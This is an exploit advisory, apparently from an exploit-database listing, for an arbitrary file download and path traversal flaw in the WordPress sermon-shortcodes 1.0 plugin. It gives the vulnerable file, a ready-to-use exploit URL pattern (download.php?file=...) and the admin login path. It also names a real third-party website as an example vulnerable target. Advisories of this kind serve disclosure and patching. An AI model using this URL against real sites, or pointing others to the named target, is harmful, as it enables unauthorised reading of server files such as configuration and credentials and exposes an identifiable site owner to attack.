WordPress sermon-shortcodes 1.0 Arbitrary File Download

`#################################################################################################  
  
# Exploit Title : WordPress sermon-shortcodes 1.0 Plugins Arbitrary File  
Download Vulnerability  
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security  
Army  
# Date : 27/11/2018  
# Vendor Homepage : wordpress.org ~ sermonmanager.pro  
wpforchurch.com/my/knowledgebase/75/Sermon-Manager-Shortcodes.html  
# Tested On : Windows and Linux  
# Category : WebApps  
# Version Information : 1.0  
# Exploit Risk : Low  
# Vulnerability Type :  
CWE-264 - [ Permissions, Privileges, and Access Controls ]  
CWE-200 - [ Information Exposure ] - CWE-23 - [ Relative Path Traversal ]  
CWE-98 - [ Improper Control of Filename for Include/Require Statement in  
PHP Program ('PHP Remote File Inclusion') ]  
# CxSecurity Exploit Link : cxsecurity.com/ascii/WLB-2018110221  
  
#################################################################################################  
  
WordPress sermon-shortcodes is prone to a vulnerability that lets attackers  
to download arbitrary files because  
  
the application fails to sufficiently sanitize user-supplied input.  
  
An attacker can exploit this issue to download arbitrary files within the  
context of the webserver process.  
  
Information obtained may aid in further attacks.  
  
#################################################################################################  
  
# Admin Panel Login Path :  
  
/wp-login.php  
  
# Affected Vulnerability File : /sermon-shortcodes/download.php  
  
# Exploit :  
  
/wp-content/plugins/sermon-shortcodes/download.php?file=[FILENAMEHERE.pdf]  
  
#################################################################################################  
  
# Example Vulnerable Sites =>  
  
[+]  
3ci.co.za/wp-content/plugins/sermon-shortcodes/download.php?file=[FILENAMEHERE.pdf]  
  
#################################################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team  
  
#################################################################################################  
`